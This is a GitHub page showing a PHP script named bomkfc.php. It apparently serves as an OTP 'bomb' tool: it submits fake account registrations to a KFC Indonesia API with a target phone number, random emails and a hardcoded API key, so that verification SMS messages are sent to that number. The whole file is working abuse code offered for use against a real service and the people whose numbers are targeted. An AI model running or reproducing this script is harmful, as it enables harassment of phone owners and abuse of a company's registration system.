forked from risspect/OXIDTools
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbomkfc.php
92 lines (72 loc) · 2.89 KB
/
bomkfc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
// error_reporting(0);
Class Bom {
public $no;
public function sendC($url, $page, $params) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url.$page);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
if(!empty($params)) {
curl_setopt ($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt ($ch, CURLOPT_POST, 1);
}
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
$headers = array();
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
//curl_setopt ($ch, CURLOPT_HEADER, 1);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
private function getStr($start, $end, $string) {
if (!empty($string)) {
$setring = explode($start,$string);
$setring = explode($end,$setring[1]);
return $setring[0];
}
}
public function angka($length = 3)
{
$characters = '0123456789';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
public function huruf($length = 3)
{
$characters = 'abcdefghijklmnopqrstuvwxyz';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
public function Verif()
{
$url = "https://hd.kfcku.com/prod/api/register";
$no = $this->no;
$data = "fullname=wahhuwauh+ayam&handphone={$no}&email={$this->angka()}{$this->huruf()}%40gmail.com&password=peler123&confirm_password=peler123&language_id=ID&X-API-KEY=563f204a20876f1fa0b20523bdfd0728";
$send = $this->sendC($url, null, $data);
if (preg_match('/Invalid Handphone Number!/', $send)) {
print('OTP Gagal Dikirim!<br>');
flush();
ob_flush();
sleep(1);
} else {
print('OTP berhasil Dikirim!<br>');
flush();
ob_flush();
sleep(1);
}
}
}